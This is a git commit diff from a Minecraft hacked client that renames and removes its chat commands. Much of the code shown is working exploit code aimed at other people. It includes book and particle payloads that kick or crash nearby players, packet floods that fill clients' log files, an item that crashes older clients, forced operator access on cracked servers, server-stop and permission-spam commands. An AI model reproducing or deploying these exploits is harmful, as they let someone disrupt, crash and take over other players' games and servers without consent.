remove and rename dumb commands

This commit is contained in:
0x3C50 2022-04-02 22:05:38 +02:00
parent 9bd46acf83
commit e55bc5380d
41 changed files with 181 additions and 320 deletions

View file

@ -5,7 +5,6 @@
package net.shadow.client.feature.command;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.command.impl.Void;
import net.shadow.client.feature.command.impl.*;
import net.shadow.client.helper.util.Utils;
@ -40,44 +39,41 @@ public class CommandRegistry {
commands.add(new Kill());
commands.add(new Invsee());
commands.add(new RageQuit());
commands.add(new Plugins());
commands.add(new Find());
commands.add(new FakeItem());
commands.add(new Taco());
commands.add(new Bind());
commands.add(new SkinExploit());
commands.add(new Test());
commands.add(new Kickall());
commands.add(new ItemExploit());
commands.add(new Inject());
commands.add(new Apvel());
commands.add(new ApplyVel());
commands.add(new AsConsole());
commands.add(new Author());
commands.add(new Ban());
commands.add(new Boot());
commands.add(new CheckCmd());
commands.add(new ClientFlood());
commands.add(new CPerm());
commands.add(new LogFlood());
commands.add(new PermissionLevel());
commands.add(new Crash());
commands.add(new Damage());
commands.add(new Equip());
commands.add(new EVclip());
commands.add(new FloodLP());
commands.add(new FloodLuckperms());
commands.add(new ForceOP());
commands.add(new ItemSpoof());
commands.add(new HClip());
commands.add(new Image());
commands.add(new ItemData());
commands.add(new KickSelf());
commands.add(new Lag());
commands.add(new LinkPlayer());
commands.add(new Open());
commands.add(new TitleLag());
commands.add(new LinkWolf());
commands.add(new Poof());
commands.add(new SpawnData());
commands.add(new Stop());
commands.add(new Vclip());
commands.add(new FSpam());
commands.add(new Void());
commands.add(new StopServer());
commands.add(new VClip());
commands.add(new MessageSpam());
commands.add(new ClearInventory());
}
public static List<Command> getCommands() {

View file

@ -9,10 +9,10 @@ import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.argument.DoubleArgumentParser;
import net.shadow.client.feature.command.exception.CommandException;
public class Apvel extends Command {
public class ApplyVel extends Command {
public Apvel() {
super("Apvel", "apply velocity to your character", "velocity", "vel", "apvel");
public ApplyVel() {
super("ApplyVel", "Apply velocity to your player", "velocity", "vel", "applyVel", "yeet");
}
@Override

View file

@ -20,7 +20,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class AsConsole extends Command {
public AsConsole() {
super("AsConsole", "run commands as console", "asconsole");
super("AsConsole", "Run a command as console via command blocks", "asConsole", "runas");
}
@Override

View file

@ -13,7 +13,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class Author extends Command {
public Author() {
super("Author", "set the author of a book in creative", "author");
super("Author", "Sets the author of a book", "author", "setAuthor");
}
@Override

View file

@ -19,7 +19,7 @@ import java.util.Objects;
public class Ban extends Command {
public Ban() {
super("Ban", "ban people from joining the server again", "ban");
super("Ban", "Ban people from re-joining the server", "ban", "block");
}
@Override

View file

@ -16,14 +16,14 @@ import net.shadow.client.feature.command.Command;
public class Boot extends Command {
public Boot() {
super("Boot", "kick players who view you", "boot");
super("Boot", "Kicks all players in render distance", "boot");
}
@Override
public void onExecute(String[] args) {
ItemStack boot = new ItemStack(Items.WRITTEN_BOOK, 1);
try {
boot.setNbt(StringNbtReader.parse("{title:\"bomb\",author:\"unkn0wnhax0r\",pages:['[{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"}]']}"));
boot.setNbt(StringNbtReader.parse("{title:\"bomb\",author:\"shadowe\",pages:['[{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"},{\"selector\":\"@e\",\"separator\":\"￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿￿\"}]']}"));
} catch (CommandSyntaxException ignored) {
}
message("Booting Players...");

View file

@ -12,7 +12,7 @@ import net.shadow.client.feature.command.Command;
public class CheckCmd extends Command {
public CheckCmd() {
super("CheckCmd", "check if command blocks are on", "checkcmd");
super("CheckCmd", "Check if command blocks are enabled", "checkCmd");
}
@Override

View file

@ -8,9 +8,9 @@ import net.minecraft.screen.slot.SlotActionType;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
public class Void extends Command {
public Void() {
super("Void", "clear your inventory", "void", "clear");
public class ClearInventory extends Command {
public ClearInventory() {
super("ClearInventory", "Clear your inventory the cool way", "clear", "clearInv");
}
@Override

View file

@ -1,60 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtIntArray;
import net.minecraft.nbt.NbtList;
import net.minecraft.nbt.NbtString;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.helper.util.Utils;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Random;
public class ClientFlood extends Command {
public ClientFlood() {
super("cflood", "flood the chat logs of clients", "cflood", "clog");
}
@Override
public void onExecute(String[] args) {
new Thread(() -> {
for (int i = 0; i < 600; i++) {
ItemStack push = new ItemStack(Items.PLAYER_HEAD, 1);
NbtCompound main = new NbtCompound();
NbtCompound skullowner = new NbtCompound();
List<Integer> ids = new ArrayList<>();
ids.add(1044599774);
ids.add(-91344643);
ids.add(-1626455549);
ids.add(-827872364);
NbtIntArray id = new NbtIntArray(ids);
skullowner.put("Id", id);
skullowner.put("Name", NbtString.of("CFlood" + new Random().nextInt(50000)));
NbtCompound b = new NbtCompound();
NbtList d = new NbtList();
NbtCompound c = new NbtCompound();
String texture = "{\"textures\":{\"SKIN\":{\"url\":\"https://education.minecraft.net/wp-content/uploads/" + "OOPS".repeat(500) + "" + new Random().nextInt(5000000) + ".png\"}}}";
String base = Base64.getEncoder().encodeToString(texture.getBytes());
c.put("Value", NbtString.of(base));
d.add(c);
b.put("textures", d);
skullowner.put("Properties", b);
main.put("SkullOwner", skullowner);
push.setNbt(main);
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ShadowMain.client.player.getInventory().selectedSlot + 36, push));
Utils.sleep(5);
}
}).start();
}
}

View file

@ -5,7 +5,6 @@
package net.shadow.client.feature.command.impl;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.config.SettingBase;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleRegistry;
@ -33,7 +32,6 @@ public class Config extends Command {
@Override
public void onExecute(String[] args) {
// validateArgumentsLength(args, 1);
if (args.length == 0) {
message("Syntax: .config (module) <key> <value>");
message("For a module or key with spaces, use - as a separator");

View file

@ -4,17 +4,18 @@
package net.shadow.client.feature.command.impl;
import net.minecraft.entity.player.PlayerEntity;
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.argument.PlayerFromNameArgumentParser;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.helper.util.Utils;
import java.util.Objects;
public class Crash extends Command {
public Crash() {
super("crash", "crash peoples games", "crash", "c");
super("Crash", "Crash surrounding players with particles", "crash");
}
@Override
@ -28,8 +29,10 @@ public class Crash extends Command {
@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
String player = Utils.Players.completeName(args[0]);
PlayerFromNameArgumentParser parser = new PlayerFromNameArgumentParser(true);
PlayerEntity pe = parser.parse(args[0]);
String player = pe.getGameProfile().getName();
ShadowMain.client.player.networkHandler.sendPacket(new ChatMessageC2SPacket("/execute as " + player + " at @s run particle flame ~ ~ ~ 1 1 1 0 999999999 normal @s"));
message(player + " should be crashed");
message("Crashed " + player);
}
}

View file

@ -13,13 +13,13 @@ import net.shadow.client.feature.command.exception.CommandException;
public class Damage extends Command {
public Damage() {
super("Damage", "kys", "damage", "kms");
super("Damage", "Applies damage to your player", "damage", "kms");
}
@Override
public String[] getSuggestions(String fullCommand, String[] args) {
if (args.length == 1) {
return new String[]{"(strength)"};
return new String[]{"(amount)"};
}
return super.getSuggestions(fullCommand, args);
}
@ -28,13 +28,16 @@ public class Damage extends Command {
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
if (ShadowMain.client.interactionManager.hasCreativeInventory()) {
error("you cannot damage in creative mode");
if (ShadowMain.client.interactionManager.hasCreativeInventory() || ShadowMain.client.player.isSpectator()) {
error("You need to be in survival or adventure mode to damage yourself");
return;
}
int amount = new IntegerArgumentParser().parse(args[0]);
if (amount == 0) return;
if (amount == 0) {
error("Listen I know you are scared to do it but heaven awaits you");
return;
}
applyDamage(amount);
message("Applied Damage");
}

View file

@ -12,7 +12,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class EVclip extends Command {
public EVclip() {
super("EVclip", "entity vertical clip", "evc", "evclip", "entityvclip");
super("EVclip", "VClip with an entity", "evc", "evclip", "entityVclip");
}
@Override
@ -28,7 +28,7 @@ public class EVclip extends Command {
validateArgumentsLength(args, 1);
if (!ShadowMain.client.player.hasVehicle()) {
error("Player is not riding an Entity");
error("You're not riding an entity");
return;
}

View file

@ -11,7 +11,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class Equip extends Command {
public Equip() {
super("Equip", "equip items", "equip");
super("Equip", "Equips items", "equip");
}
@Override
@ -28,21 +28,21 @@ public class Equip extends Command {
switch (args[0].toLowerCase()) {
case "head" -> {
//39 HEAD - 36 FEETw
// 39 HEAD - 36 FEET
ShadowMain.client.interactionManager.clickSlot(ShadowMain.client.player.currentScreenHandler.syncId, 36 + ShadowMain.client.player.getInventory().selectedSlot, 39, SlotActionType.SWAP, ShadowMain.client.player);
message("equipped item on head");
message("Equipped item on head");
}
case "chest" -> {
ShadowMain.client.interactionManager.clickSlot(ShadowMain.client.player.currentScreenHandler.syncId, 36 + ShadowMain.client.player.getInventory().selectedSlot, 39, SlotActionType.SWAP, ShadowMain.client.player);
message("equipped item on chest");
message("Equipped item on chest");
}
case "legs" -> {
ShadowMain.client.interactionManager.clickSlot(ShadowMain.client.player.currentScreenHandler.syncId, 36 + ShadowMain.client.player.getInventory().selectedSlot, 39, SlotActionType.SWAP, ShadowMain.client.player);
message("equipped item on legs");
message("Equipped item on legs");
}
case "feet" -> {
ShadowMain.client.interactionManager.clickSlot(ShadowMain.client.player.currentScreenHandler.syncId, 36 + ShadowMain.client.player.getInventory().selectedSlot, 39, SlotActionType.SWAP, ShadowMain.client.player);
message("equipped item on feet");
message("Equipped item on feet");
}
default -> error("Incorrect slot, slots are chest, legs, feet, and head");
}

View file

@ -22,7 +22,7 @@ import java.util.Objects;
public class FakeItem extends Command {
public FakeItem() {
super("FakeItem", "Fakes a person holding a specific item", "spoofitem", "fakeitem");
super("FakeItem", "Fakes a person holding a specific item", "fakeItem");
}
@Override

View file

@ -35,7 +35,7 @@ public class Find extends Command {
int bookSlot = -1;
public Find() {
super("Find", "NoCom 2 (requires creative)", "find", "cfind");
super("Find", "Nocom 2 (requires creative)", "find", "findPlayer");
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
if (!pendingBook) {
return;

View file

@ -11,9 +11,9 @@ import net.shadow.client.feature.command.exception.CommandException;
import java.util.Random;
public class FloodLP extends Command {
public FloodLP() {
super("FloodLuckperms", "flood luckperm groups", "floodlp", "lpflood", "floodluckperms", "luckpermsflood");
public class FloodLuckperms extends Command {
public FloodLuckperms() {
super("FloodLuckperms", "Spam luckperms groups", "floodLp", "lpFlood", "floodLuckperms", "luckpermsFlood");
}
@Override

View file

@ -29,7 +29,7 @@ public class ForEach extends Command {
boolean recieving;
public ForEach() {
super("ForEach", "Do something for each player", "foreach", "for", "fe");
super("ForEach", "Do something for each player", "forEach", "for", "fe");
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
if (!recieving) return;
PacketEvent pe = (PacketEvent) event;

View file

@ -18,7 +18,7 @@ import java.util.Objects;
public class ForceOP extends Command {
public ForceOP() {
super("ForceOP", "get op on cracked servers", "forceop", "crackedop");
super("ForceOP", "Get op on cracked servers", "forceOp", "crackedOp");
}
private static void authUsername(String username) {

View file

@ -14,7 +14,7 @@ import java.util.Arrays;
public class Gamemode extends Command {
public Gamemode() {
super("Gamemode", "Switch gamemodes client side", "gamemode", "gm", "gmode", "gamemodespoof", "gmspoof");
super("Gamemode", "Switch gamemodes client side", "gamemode", "gm", "gmode");
}
@Override

View file

@ -13,7 +13,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class HClip extends Command {
public HClip() {
super("HClip", "go horizontal through walls", "hclip");
super("HClip", "Teleport horizontally", "hclip");
}
@Override

View file

@ -12,7 +12,7 @@ import java.awt.*;
public class Help extends Command {
public Help() {
super("Help", "Shows all commands", "help", "h", "?", "cmds", "commands", "manual", "man");
super("Help", "Shows all commands", "help", "h", "?", "cmds", "commands");
}
@Override

View file

@ -33,7 +33,7 @@ public class Image extends Command {
boolean real;
public Image() {
super("Image", "apply images to various text mediums", "image", "img");
super("Image", "Apply an image to various text mediums", "image", "img");
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
if (!real) return;
PacketEvent pe = (PacketEvent) event;

View file

@ -18,7 +18,7 @@ import java.util.Objects;
public class ItemData extends Command {
public ItemData() {
super("ItemData", "get items from other ppl", "itemdata", "idata");
super("ItemData", "Show item data from other player's inventories", "itemData", "idata");
}
@Override
@ -76,7 +76,7 @@ public class ItemData extends Command {
return player.getInventory().getArmorStack(0);
default:
message("Please use the format >itemdata <player> <slot>");
message("Invalid slot");
return null;
}
}

View file

@ -22,7 +22,7 @@ import java.util.List;
public class ItemExploit extends Command {
public ItemExploit() {
super("ItemExploit", "Spawns an item exploit in creative", "itemexploit");
super("ItemExploit", "Spawns an item exploit in creative", "itemExploit");
}
@Override

View file

@ -15,7 +15,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class ItemSpoof extends Command {
public ItemSpoof() {
super("ItemSpoof", "spoof give yourself items", "ispoof", "itemspoof", "ghostitem", "ghostgive");
super("ItemSpoof", "Give yourself an item client side", "iSpoof", "itemSpoof", "ghostItem", "clientGive");
}
@Override

View file

@ -15,7 +15,7 @@ import net.shadow.client.feature.command.exception.CommandException;
public class KickSelf extends Command {
public KickSelf() {
super("KickSelf", "kick yourself from the server", "kickself");
super("KickSelf", "Kick yourself from the server", "kickSelf");
}
@Override

View file

@ -26,9 +26,9 @@ import net.shadow.client.helper.util.Utils;
import java.util.Objects;
public class LinkPlayer extends Command {
public LinkPlayer() {
super("LinkPlayer", "link a wolf to a player", "linkplayer", "lplayer");
public class LinkWolf extends Command {
public LinkWolf() {
super("LinkWolf", "Link a wolf to a player", "linkWolf", "lWolf");
}
@Override

View file

@ -0,0 +1,70 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtIntArray;
import net.minecraft.nbt.NbtList;
import net.minecraft.nbt.NbtString;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.helper.util.Utils;
import java.util.Base64;
import java.util.Random;
import java.util.concurrent.atomic.AtomicBoolean;
public class LogFlood extends Command {
AtomicBoolean running = new AtomicBoolean(false);
public LogFlood() {
super("LogFlood", "Floods the log files of players in render distance", "logflood", "lflood");
}
@Override
public void onExecute(String[] args) {
if (running.get()) {
error("Already running, give me a second");
return;
}
running.set(true);
new Thread(() -> {
try {
for (int i = 0; i < 600; i++) {
ItemStack push = new ItemStack(Items.PLAYER_HEAD, 1);
NbtCompound main = new NbtCompound();
NbtCompound skullowner = new NbtCompound();
NbtIntArray id = new NbtIntArray(new int[]{
1044599774,
-91344643,
-1626455549,
-827872364
});
skullowner.put("Id", id);
skullowner.put("Name", NbtString.of("LFlood" + new Random().nextInt(50000)));
NbtCompound b = new NbtCompound();
NbtList d = new NbtList();
NbtCompound c = new NbtCompound();
String texture = "{\"textures\":{\"SKIN\":{\"url\":\"https://education.minecraft.net/wp-content/uploads/" + "OOPS".repeat(500) + new Random().nextInt(5000000) + ".png\"}}}";
String base = Base64.getEncoder().encodeToString(texture.getBytes());
c.put("Value", NbtString.of(base));
d.add(c);
b.put("textures", d);
skullowner.put("Properties", b);
main.put("SkullOwner", skullowner);
push.setNbt(main);
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(ShadowMain.client.player.getInventory().selectedSlot + 36, push));
Utils.sleep(5);
}
} finally {
running.set(false);
}
}).start();
}
}

View file

@ -11,9 +11,9 @@ import net.shadow.client.feature.command.exception.CommandException;
import java.util.Arrays;
public class FSpam extends Command {
public FSpam() {
super("FSpam", "fast spammer", "fspam", "fastspam", "quickspam");
public class MessageSpam extends Command {
public MessageSpam() {
super("MessageSpam", "Sends a large amount of messages quickly", "spam", "spamMessages");
}
@Override

View file

@ -9,15 +9,15 @@ import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.argument.IntegerArgumentParser;
import net.shadow.client.feature.command.exception.CommandException;
public class CPerm extends Command {
public CPerm() {
super("ClientPermission", "set client permission levels", "clientpermission", "cperm");
public class PermissionLevel extends Command {
public PermissionLevel() {
super("PermissionLevel", "Sets the player's permission level client side", "permissionlevel", "permlevel");
}
@Override
public String[] getSuggestions(String fullCommand, String[] args) {
if (args.length == 1) {
return new String[]{"(permission level)"};
return new String[]{"1", "2", "3", "4"};
}
return super.getSuggestions(fullCommand, args);
}
@ -26,8 +26,8 @@ public class CPerm extends Command {
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
IntegerArgumentParser iap = new IntegerArgumentParser();
int uwu = iap.parse(args[0]);
ShadowMain.client.player.setClientPermissionLevel(uwu);
message("Set the Permission level to [" + uwu + "]");
int newPermLevel = iap.parse(args[0]);
ShadowMain.client.player.setClientPermissionLevel(newPermLevel);
message("Set the Permission level to [" + newPermLevel + "]");
}
}

View file

@ -1,66 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import com.mojang.brigadier.suggestion.Suggestion;
import com.mojang.brigadier.suggestion.Suggestions;
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
public class Plugins extends Command {
private boolean pendingCmdTree = false;
public Plugins() {
super("Plugins", "Finds server plugins via command suggestions", "pl", "plugins");
if (ShadowMain.client.getNetworkHandler() != null) {
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
if (!pendingCmdTree) {
return;
}
PacketEvent packetEvent = (PacketEvent) event;
if (packetEvent.getPacket() instanceof CommandSuggestionsS2CPacket cmdTree) {
pendingCmdTree = false;
Suggestions suggestions = cmdTree.getSuggestions();
Set<String> plugins = new HashSet<>();
for (Suggestion suggestion : suggestions.getList()) {
String[] cmd = suggestion.getText().split(":");
if (cmd.length > 1) {
plugins.add(cmd[0]);
}
}
if (plugins.isEmpty()) {
error("No plugins found");
return;
}
Iterator<String> iterator = plugins.iterator();
StringBuilder message = new StringBuilder(iterator.next());
while (iterator.hasNext()) {
message.append(", ").append(iterator.next());
}
message(message.toString());
}
});
}
}
@Override
public void onExecute(String[] args) {
if (ShadowMain.client.getNetworkHandler() != null) {
ShadowMain.client.getNetworkHandler().sendPacket(new RequestCommandCompletionsC2SPacket(0, "/"));
pendingCmdTree = true;
}
}
}

View file

@ -17,7 +17,7 @@ import java.util.Objects;
public class Poof extends Command {
public Poof() {
super("Poof", "crash old versions", "poof");
super("Poof", "Crash players on older versions with sam the salmon", "poof");
}
public static void drop(int slot) {
@ -34,15 +34,14 @@ public class Poof extends Command {
@Override
public void onExecute(String[] args) {
ItemStack crashme = new ItemStack(Items.IRON_HOE, 1);
// on the note of that why did you just make 50 drops instead of just dropping the item with count 50
ItemStack crashme = new ItemStack(Items.SALMON, 50);
try {
crashme.setNbt(StringNbtReader.parse("{display:{Name:'{\"text\":\"fuck\",\"hoverEvent\":{\"action\":\"show_entity\",\"contents\":{\"id\":\"ez\",\"type\":\"minecraft:player\"}}}'}}"));
crashme.setNbt(StringNbtReader.parse("{display:{Name:'{\"text\":\"Sam the salmon\",\"hoverEvent\":{\"action\":\"show_entity\",\"contents\":{\"id\":\"AMONG US\",\"type\":\"minecraft:player\"}}}'}}"));
} catch (CommandSyntaxException e) {
e.printStackTrace();
}
for (int i = 0; i < 50; i++) {
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(9, crashme));
drop(9);
}
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(9, crashme));
drop(9);
}
}

View file

@ -4,10 +4,13 @@
package net.shadow.client.feature.command.impl;
import net.minecraft.item.ItemStack;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.text.Text;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.helper.util.Utils;
import java.util.Objects;
@ -28,10 +31,17 @@ public class Rename extends Command {
@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
if (Objects.requireNonNull(ShadowMain.client.player).getInventory().getMainHandStack().isEmpty()) {
error("You're not holding anything");
return;
}
ShadowMain.client.player.getInventory().getMainHandStack().setCustomName(Text.of("§r" + String.join(" ", args).replaceAll("&", "§")));
ItemStack iStack = ShadowMain.client.player.getInventory().getMainHandStack();
iStack.setCustomName(Text.of("§r" + String.join(" ", args).replaceAll("&", "§")));
if (!ShadowMain.client.interactionManager.hasCreativeInventory()) {
warn("You dont have creative mode; the item will only be renamed client side");
} else {
ShadowMain.client.getNetworkHandler().sendPacket(new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(ShadowMain.client.player.getInventory().selectedSlot), iStack));
}
}
}

View file

@ -13,7 +13,7 @@ import java.util.Objects;
public class Say extends Command {
public Say() {
super("Say", "Says something in chat", "say", "tell");
super("Say", "Says something in chat (use when scripting or to say the prefix in chat)", "say", "tell");
}
@Override

View file

@ -1,71 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.impl.exploit.SkinChangeExploit;
import net.shadow.client.helper.Texture;
import net.shadow.client.helper.util.Utils;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
public class SkinExploit extends Command {
public SkinExploit() {
super("SkinExploit", "Config for the SkinExploit module", "skinexploit");
}
@Override
public String[] getSuggestions(String fullCommand, String[] args) {
if (args.length == 1) {
return new String[]{"(skin url)"};
}
return super.getSuggestions(fullCommand, args);
}
@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
URI uri;
try {
uri = new URI(String.join(" ", args));
} catch (Exception ignored) {
error("URL invalid");
return;
}
byte[] in;
try {
HttpClient hc = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build();
HttpRequest hrc = HttpRequest.newBuilder().uri(uri).header("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0").build();
HttpResponse<byte[]> is = hc.send(hrc, HttpResponse.BodyHandlers.ofByteArray());
in = is.body();
} catch (Exception e) {
error("Image load failed: " + e.getMessage());
e.printStackTrace();
return;
}
try {
ByteArrayInputStream bais = new ByteArrayInputStream(in);
BufferedImage bi = ImageIO.read(bais);
if (bi == null) {
throw new IllegalStateException("Invalid image data");
}
Texture e = new Texture("fakeskintex");
Utils.registerBufferedImageTexture(e, bi);
ModuleRegistry.getByClass(SkinChangeExploit.class).skinId = e;
success("Set skin texture! Enable the module to change everyone's skin");
} catch (Exception e) {
error("Image parse failed: " + e.getMessage());
e.printStackTrace();
}
}
}

View file

@ -21,7 +21,7 @@ import java.util.Objects;
public class SpawnData extends Command {
public SpawnData() {
super("SpawnData", "set pre-spawn conditions for spawn eggs", "prespawn", "spawndata");
super("SpawnData", "Set pre-spawn conditions for spawn eggs", "preSpawn", "spawnData");
}
@Override

View file

@ -17,9 +17,9 @@ import net.minecraft.util.math.Vec3d;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
public class Stop extends Command {
public Stop() {
super("Stop", "stop the server", "stop");
public class StopServer extends Command {
public StopServer() {
super("StopServer", "Stops the server (real)", "stop");
}
@Override
@ -40,6 +40,6 @@ public class Stop extends Command {
ShadowMain.client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, hr));
}
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + ShadowMain.client.player.getInventory().selectedSlot, nana));
success("Running stop..");
success("Stopping server...");
}
}

View file

@ -1,23 +0,0 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.command.impl;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.exception.CommandException;
public class Template extends Command {
public Template() {
super("Template", "you.. shouldn't be able to do this");
}
@Override
public String[] getSuggestions(String fullCommand, String[] args) {
return super.getSuggestions(fullCommand, args);
}
@Override
public void onExecute(String[] args) {
}
}

View file

@ -4,6 +4,7 @@
package net.shadow.client.feature.command.impl;
import net.minecraft.entity.player.PlayerEntity;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.StringNbtReader;
@ -11,14 +12,14 @@ import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
